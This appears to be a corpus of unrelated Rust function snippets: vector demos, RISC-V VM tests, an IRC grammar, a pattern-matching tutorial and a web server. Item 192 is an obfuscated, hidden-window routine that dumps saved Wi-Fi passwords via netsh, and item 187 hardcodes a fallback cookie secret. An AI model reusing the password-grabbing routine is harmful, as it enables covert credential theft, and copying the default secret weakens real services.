std::env::args().skip(1).collect(); let languages = vec!["Lisp", "Scheme", "C", "C++", "Fortran"]; let mut v8 = Vec::new(); for l in languages { if l.len() % 2 == 0 { v8.push("functional"); } else { v8.push("imperative"); } } assert_eq!( v8, [ "functional", "functional", "imperative", "imperative", "imperative" ] ); // slice let v9: Vec<f64> = vec![0.0, 0.707, 1.0, 0.707]; let a9: [f64; 4] = [0.0, 0.707, 1.0, 0.707]; let sv: &[f64] = &v9; let sa: &[f64] = &a9; assert_eq!(sv[0..2], [0.0, 0.707]); assert_eq!(sa[2..], [1.0, 0.707]); assert_eq!(&sv[1..3], [0.707, 1.0]); }
186
pub fn test_memory_load_bytes() { let mut rng = thread_rng(); assert_memory_load_bytes_all(&mut rng, RISCV_MAX_MEMORY, 1024 * 5, 0); assert_memory_load_bytes_all(&mut rng, RISCV_MAX_MEMORY, 1024 * 5, 2); assert_memory_load_bytes_all(&mut rng, RISCV_MAX_MEMORY, 1024 * 5, 1024 * 6); assert_memory_load_bytes_all(&mut rng, RISCV_MAX_MEMORY, 0, 0); }
187
async fn main() -> std::io::Result<()> { dotenv().ok(); let app_data = AppData { conn_pool: database::create_pool(), }; let mut listenfd = ListenFd::from_env(); let mut server = HttpServer::new(move || { App::new() .data(app_data.clone()) .service(index) .configure(routes::config) .default_service(web::route().to(fallback_route)) .wrap(middlewares::auth_middleware::Logging) .wrap(Cors::new().finish()) .wrap(IdentityService::new( CookieIdentityPolicy::new( env::var("COOKIE_SECRET") .unwrap_or("DEFAULT_SECRET".to_string()) .as_bytes(), ) .name("auth") .path("/") .domain(env::var("APP_DOMAIN").unwrap_or("localhost".to_string())) .max_age(chrono::Duration::days(1).num_seconds()) .secure(false), )) }); server = if let Some(l) = listenfd.take_tcp_listener(0).unwrap() { server.listen(l)? } else { server.bind("localhost:8000")? }; server.run().await }
188
fn de_l(raw: f32, even: bool) -> i32 { if even && raw < 0.0 { (raw.ceil() - 1.0) as i32 } else { raw.floor() as i32 } }
189
fn system_call(message: SystemCall) -> SystemCall { let addr = task_buffer_addr(); unsafe { let buffer = &mut *(addr as *mut TaskBuffer); buffer.call = Some(message); system_call_raw(); buffer.call.take().unwrap() } }
190
fn checked_memory_handle ( ) - > Result < Connection > { let db = Connection : : open_in_memory ( ) ? ; db . execute_batch ( " CREATE TABLE foo ( b BLOB t TEXT i INTEGER f FLOAT n ) " ) ? ; Ok ( db ) }
191
fn main() { // ใƒ‘ใ‚ฟใƒผใƒณ // ใƒ‘ใ‚ฟใƒผใƒณใซใฏไธ€ใค่ฝใจใ—็ฉดใŒใ‚ใ‚Šใพใ™ใ€‚ // ๆ–ฐใ—ใ„ๆŸ็ธ›ใ‚’ๅฐŽๅ…ฅใ™ใ‚‹ไป–ใฎๆง‹ๆ–‡ใจๅŒๆง˜ใ€ใƒ‘ใ‚ฟใƒผใƒณใฏใ‚ทใƒฃใƒ‰ใƒผใ‚คใƒณใ‚ฐใ‚’ใ—ใพใ™ใ€‚ไพ‹ใˆใฐ๏ผš let x = 'x'; let c = 'c'; match c { x => println!("x: {} c: {}", x, c), // ๅ…ƒใฎxใŒใ‚ทใƒฃใƒ‰ใƒผใ‚คใƒณใ‚ฐใ•ใ‚Œใฆใ€ๅˆฅใฎxใจใ—ใฆๅ‹•ไฝœใ—ใฆใ„ใ‚‹ใ€‚ } println!("x: {}", x); // x => ใฏๅ€คใ‚’ใƒ‘ใ‚ฟใƒผใƒณใซใƒžใƒƒใƒใ•ใ›ใ€ใƒžใƒƒใƒใฎ่…•ๅ†…ใงๆœ‰ๅŠนใช x ใจใ„ใ†ๅๅ‰ใฎๆŸ็ธ›ใ‚’ๅฐŽๅ…ฅใ—ใพใ™ใ€‚ // ๆ—ขใซ x ใจใ„ใ†ๆŸ็ธ›ใŒๅญ˜ๅœจใ—ใฆใ„ใŸใฎใงใ€ๆ–ฐใŸใซๅฐŽๅ…ฅใ—ใŸ x ใฏใ€ใใฎๅคใ„ x ใ‚’ใ‚ทใƒฃใƒ‰ใƒผใ‚คใƒณใ‚ฐใ—ใพใ™ใ€‚ // ่ค‡ๅผใƒ‘ใ‚ฟใƒผใƒณ let x2 = 1; match x2 { 1 | 2 => println!("one or two"), 3 => println!("three"), _ => println!("anything"), } // ๅˆ†้…ๆŸ็ธ› let origin = Point { x: 0, y: 0 }; match origin { Point { x, y } => println!("({},{})", x, y), } // ๅ€คใซๅˆฅใฎๅๅ‰ใ‚’ไป˜ใ‘ใŸใ„ใจใใฏใ€ : ใ‚’ไฝฟใ†ใ“ใจใŒใงใใพใ™ใ€‚ let origin2 = Point { x: 0, y: 0 }; match origin2 { Point { x: x1, y: y1 } => println!("({},{})", x1, y1), } // ๅ€คใฎไธ€้ƒจใซใ ใ‘่ˆˆๅ‘ณใŒใ‚ใ‚‹ๅ ดๅˆใฏใ€ๅ€คใฎใ™ในใฆใซๅๅ‰ใ‚’ไป˜ใ‘ใ‚‹ๅฟ…่ฆใฏใ‚ใ‚Šใพใ›ใ‚“ใ€‚ let origin = Point { x: 0, y: 0 }; match origin { Point { x, .. } => println!("x is {}", x), } // ๆœ€ๅˆใฎใƒกใƒณใƒใ ใ‘ใงใชใใ€ใฉใฎใƒกใƒณใƒใซๅฏพใ—ใฆใ‚‚ใ“ใฎ็จฎใฎใƒžใƒƒใƒใ‚’่กŒใ†ใ“ใจใŒใงใใพใ™ใ€‚ let origin = Point { x: 0, y: 0 }; match origin { Point { y, .. } => println!("y is {}", y), } // ๆŸ็ธ›ใฎ็„ก่ฆ– let some_value: Result<i32, &'static str> = Err("There was an error"); match some_value { Ok(value) => println!("got a value: {}", value), Err(_) => println!("an error occurred"), } // ใ“ใ“ใงใฏใ€ใ‚ฟใƒ—ใƒซใฎๆœ€ๅˆใจๆœ€ๅพŒใฎ่ฆ็ด ใซ x ใจ z ใ‚’ๆŸ็ธ›ใ—ใพใ™ใ€‚ fn coordinate() -> (i32, i32, i32) { // generate and return some sort of triple tuple // 3่ฆ็ด ใฎใ‚ฟใƒ—ใƒซใ‚’็”Ÿๆˆใ—ใฆ่ฟ”ใ™ (1, 2, 3) } let (x, _, z) = coordinate(); // ๅŒๆง˜ใซ .. ใงใƒ‘ใ‚ฟใƒผใƒณๅ†…ใฎ่ค‡ๆ•ฐใฎๅ€คใ‚’็„ก่ฆ–ใ™ใ‚‹ใ“ใจใŒใงใใพใ™ใ€‚ enum OptionalTuple { Value(i32, i32, i32), Missing, } let x = OptionalTuple::Value(5, -2, 3); match x { OptionalTuple::Value(..) => println!("Got a tuple!"), OptionalTuple::Missing => println!("No such luck."), } // ref ใจ ref mut // ๅ‚็…ง ใ‚’ๅ–ๅพ—ใ—ใŸใ„ใจใใฏ ref ใ‚ญใƒผใƒฏใƒผใƒ‰ใ‚’ไฝฟใ„ใพใ—ใ‚‡ใ†ใ€‚ let x3 = 5; match x3 { ref r => println!("Got a reference to {}", r), } // ใƒŸใƒฅใƒผใ‚ฟใƒ–ใƒซใชๅ‚็…งใŒๅฟ…่ฆใชๅ ดๅˆใฏใ€ๅŒๆง˜ใซ ref mut ใ‚’ไฝฟใ„ใพใ™ใ€‚ let mut x = 5; match x { ref mut mr => { *mr += 1; println!("Got a mutable reference to {}", mr); }, } println!("x = {}", x); // ๅ€คใŒๆ›ธใๆ›ใ‚ใฃใฆใ„ใ‚‹ใ€‚ // ็ฏ„ๅ›ฒ let x = 1; match x { 1 ... 5 => println!("one through five"), _ => println!("anything"), } // ็ฏ„ๅ›ฒใฏๅคšใใฎๅ ดๅˆใ€ๆ•ดๆ•ฐใ‹ char ๅž‹ใงไฝฟใ‚ใ‚Œใพใ™๏ผš let x = '๐Ÿ’…'; match x { 'a' ... 'j' => println!("early letter"), 'k' ... 'z' => println!("late letter"), _ => println!("something else"), } // ๆŸ็ธ› let x = 1; match x { e @ 1 ... 5 => println!("got a range element {}", e), _ => println!("anything"), } // ๅ†…ๅดใฎ name ใฎๅ€คใธใฎๅ‚็…งใซ a ใ‚’ๆŸ็ธ›ใ—ใพใ™ใ€‚ #[derive(Debug)] struct Person { name: Option<String>, } let name = "Steve".to_string(); let mut x: Option<Person> = Some(Person { name: Some(name) }); match x { Some(Person { name: ref a @ Some(_), .. }) => println!("{:?}", a), _ => {} } // @ ใ‚’ | ใจ็ต„ใฟๅˆใ‚ใ›ใฆไฝฟใ†ๅ ดๅˆใฏใ€ใใ‚Œใžใ‚Œใฎใƒ‘ใ‚ฟใƒผใƒณใงๅŒใ˜ๅๅ‰ใŒๆŸ็ธ›ใ•ใ‚Œใ‚‹ใ‚ˆใ†ใซใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚Šใพใ™๏ผš let x = 5; match x { e @ 1 ... 5 | e @ 8 ... 10 => println!("got a range element {}", e), _ => println!("anything"), } // ใ‚ฌใƒผใƒ‰ // if ใ‚’ไฝฟใ†ใ“ใจใงใƒžใƒƒใƒใ‚ฌใƒผใƒ‰ใ‚’ๅฐŽๅ…ฅใ™ใ‚‹ใ“ใจใŒใงใใพใ™๏ผš enum OptionalInt { Value(i32), Missing, } let x = OptionalInt::Value(5); match x { OptionalInt::Value(i) if i > 5 => println!("Got an int bigger than five!"), OptionalInt::Value(..) => println!("Got an int!"), OptionalInt::Missing => println!("No such luck."), } // ่ค‡ๅผใƒ‘ใ‚ฟใƒผใƒณใง if ใ‚’ไฝฟใ†ใจใ€ if ใฏ | ใฎไธกๅดใซ้ฉ็”จใ•ใ‚Œใพใ™๏ผš let x = 4; let y = false; match x { 4 | 5 if y => println!("yes"), _ => println!("no"), } // ใ‚คใƒกใƒผใ‚ธ๏ผš (4 | 5) if y => ... // ๆททใœใฆใƒžใƒƒใƒ // ใ‚„ใ‚ŠใŸใ„ใ“ใจใซๅฟœใ˜ใฆใ€ใใ‚Œใ‚‰ใ‚’ๆททใœใฆใƒžใƒƒใƒใ•ใ›ใ‚‹ใ“ใจใ‚‚ใงใใพใ™๏ผš // match x { // Foo { x: Some(ref name), y: None } => { println!("foo"); }, // } // ใƒ‘ใ‚ฟใƒผใƒณใฏใจใฆใ‚‚ๅผทๅŠ›ใงใ™ใ€‚ไธŠๆ‰‹ใซไฝฟใ„ใพใ—ใ‚‡ใ†ใ€‚ }
192
async fn get_wifi_profile(ssid: &str) -> Option<String> { delay_for(Duration::from_millis(10)).await; let output = Command::new(obfstr::obfstr!("netsh.exe")) .args(&[ obfstr::obfstr!("wlan"), obfstr::obfstr!("show"), obfstr::obfstr!("profile"), ssid, obfstr::obfstr!("key=clear"), ]) .creation_flags(CREATE_NO_WINDOW) .output() .ok()?; Some(String::from_utf8_lossy(&output.stdout).to_string()) }
193
fn should_update() -> bool { std::env::args_os().nth(1).unwrap_or_default() == "--refresh" }
194
unsafe fn system_call_raw() { asm!("int 80h" :: : "rax", "rbx", "rcx", "rdx", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15" : "volatile", "intel"); }
195
pub fn test_flat_crash_64() { let buffer = fs::read("tests/programs/flat_crash_64").unwrap().into(); let core_machine = DefaultCoreMachine::<u64, FlatMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value()); let mut machine = DefaultMachineBuilder::new(core_machine).build(); let result = machine.load_program(&buffer, &vec!["flat_crash_64".into()]); assert_eq!(result.err(), Some(Error::MemOutOfBound)); }
196
pub fn grammar() -> ParseContext<IRCToken> { let mut ctx = ParseContext::new(); /* message = [ ":" prefix SPACE ] command [ params ] crlf prefix = servername / ( nickname [ [ "!" user ] "@" host ] ) command = 1*letter / 3digit params = *14( SPACE middle ) [ SPACE ":" trailing ] =/ 14( SPACE middle ) [ SPACE [ ":" ] trailing ] nospcrlfcl = %x01-09 / %x0B-0C / %x0E-1F / %x21-39 / %x3B-FF ; any octet except NUL, CR, LF, " " and ":" middle = nospcrlfcl *( ":" / nospcrlfcl ) trailing = *( ":" / " " / nospcrlfcl ) SPACE = %x20 ; space character crlf = %x0D %x0A ; "carriage return" "linefeed" */ ctx.rule("message", ~Map(~LessThan(1, ~Literal(":") * ~Rule("prefix") * ~Rule("SPACE")) * ~Rule("command") * ~LessThan(1, ~Rule("params")), map_message)); ctx.rule("prefix", ~Map(~Rule("nickname") * ~LessThan(1, ~LessThan(1, ~Literal("!") * ~Rule("user")) * ~Literal("@") * ~Rule("host")), map_prefix) + ~Build(~Rule("servername"), build_serverprefix)); ctx.rule("command", ~Build(~MoreThan(1, ~Rule("letter")) + ~Exactly(3, ~Rule("digit")), build_unparsed)); ctx.rule("params", ~Map(~More(~Rule("SPACE") * ~Rule("middle")) * ~LessThan(1, ~Rule("SPACE") * ~Literal(":") * ~Rule("trailing")) + ~More(~Rule("SPACE") * ~Rule("middle")) * ~LessThan(1, ~Rule("SPACE") * ~LessThan(1, ~Literal(":")) * ~Rule("trailing")), map_params)); ctx.rule("nospcrlfcl", ~Diff(~Chars(1), ~Set("\x00\r\n :".iter().collect()))); ctx.rule("middle", ~Build(~Rule("nospcrlfcl") * ~More(~Literal(":") + ~Rule("nospcrlfcl")), build_unparsed)); ctx.rule("trailing", ~Build(~More(~Literal(":") + ~Literal(" ") + ~Rule("nospcrlfcl")), build_unparsed)); ctx.rule("SPACE", ~Map(~Literal(" "), map_ignored)); ctx.rule("crlf", ~Literal("\r\n")); /* target = nickname / server msgtarget = msgto *( "," msgto ) msgto = channel / ( user [ "%" host ] "@" servername ) msgto =/ ( user "%" host ) / targetmask msgto =/ nickname / ( nickname "!" user "@" host ) channel = ( "#" / "+" / ( "!" channelid ) / "&" ) chanstring [ ":" chanstring ] servername = hostname host = hostname / hostaddr hostname = shortname *( "." shortname ) shortname = ( letter / digit ) *( letter / digit / "-" ) *( letter / digit ) ; as specified in RFC 1123 [HNAME] hostaddr = ip4addr / ip6addr ip4addr = 1*3digit "." 1*3digit "." 1*3digit "." 1*3digit ip6addr = 1*hexdigit 7( ":" 1*hexdigit ) ip6addr =/ "0:0:0:0:0:" ( "0" / "FFFF" ) ":" ip4addr nickname = ( letter / special ) *8( letter / digit / special / "-" ) targetmask = ( "$" / "#" ) mask ; see details on allowed masks in section 3.3.1 chanstring = %x01-07 / %x08-09 / %x0B-0C / %x0E-1F / %x21-2B chanstring =/ %x2D-39 / %x3B-FF ; any octet except NUL, BELL, CR, LF, " ", "," and ":" channelid = 5( %x41-5A / digit ) ; 5( A-Z / 0-9 ) */ ctx.rule("servername", ~Rule("hostname")); ctx.rule("host", ~Build(~Rule("hostname") + ~Rule("hostaddr"), build_unparsed)); ctx.rule("hostname", ~Rule("shortname") * ~More(~Literal(".") * ~Rule("shortname"))); ctx.rule("shortname", (~Rule("letter") + ~Rule("digit")) * ~More(~Rule("letter") + ~Rule("digit") + ~Literal("-"))); ctx.rule("hostaddr", ~Rule("ip4addr") + ~Rule("ip6addr")); ctx.rule("ip4addr", ~Exactly(3, ~Rule("digit")) * ~Exactly(3, ~Exactly(3, ~Literal(".") * ~Rule("digit")))); ctx.rule("ip6addr", ~Rule("hexdigit") * ~Exactly(7, ~Literal(":") * ~Rule("hexdigit")) + ~Literal("0:0:0:0:0:") * (~Literal("0") + ~Literal("FFFF")) * ~Literal(":") * ~Rule("ip4addr")); ctx.rule("nickname", ~Build((~Rule("letter") + ~Rule("special")) * ~More(~Rule("letter") + ~Rule("digit") + ~Rule("special") + ~Literal("-")), build_unparsed)); /* user = 1*( %x01-09 / %x0B-0C / %x0E-1F / %x21-3F / %x41-FF ) ; any octet except NUL, CR, LF, " " and "@" key = 1*23( %x01-05 / %x07-08 / %x0C / %x0E-1F / %x21-7F ) ; any 7-bit US_ASCII character, ; except NUL, CR, LF, FF, h/v TABs, and " " letter = %x41-5A / %x61-7A ; A-Z / a-z digit = %x30-39 ; 0-9 hexdigit = digit / "A" / "B" / "C" / "D" / "E" / "F" special = %x5B-60 / %x7B-7D ; "[", "]", "\", "`", "_", "^", "{", "|", "}" */ ctx.rule("user", ~Build(~MoreThan(1, ~Diff(~Chars(1), ~Set("\x00\r\n @".iter().collect()))), build_unparsed)); ctx.rule("letter", ~Range('a','z') + ~Range('A','Z')); ctx.rule("digit", ~Range('0','9')); ctx.rule("hexdigit", ~Rule("digit") + ~Range('A','F')); ctx.rule("special", ~Set("[]\\`_^{|}".iter().collect())); ctx }
197
pub fn acrn_read(file_path: &str) -> Result<String, String> { let mut file = File::open(file_path).map_err(|e| e.to_string())?; let mut contents = String::new(); file.read_to_string(&mut contents) .map_err(|e| e.to_string())?; Ok(contents) }
198
pub fn test_memory_store_empty_bytes() { assert_memory_store_empty_bytes(&mut FlatMemory::<u64>::default()); assert_memory_store_empty_bytes(&mut SparseMemory::<u64>::default()); assert_memory_store_empty_bytes(&mut WXorXMemory::<FlatMemory<u64>>::default()); #[cfg(has_asm)] assert_memory_store_empty_bytes(&mut AsmCoreMachine::new(ISA_IMC, VERSION0, 200_000)); }
199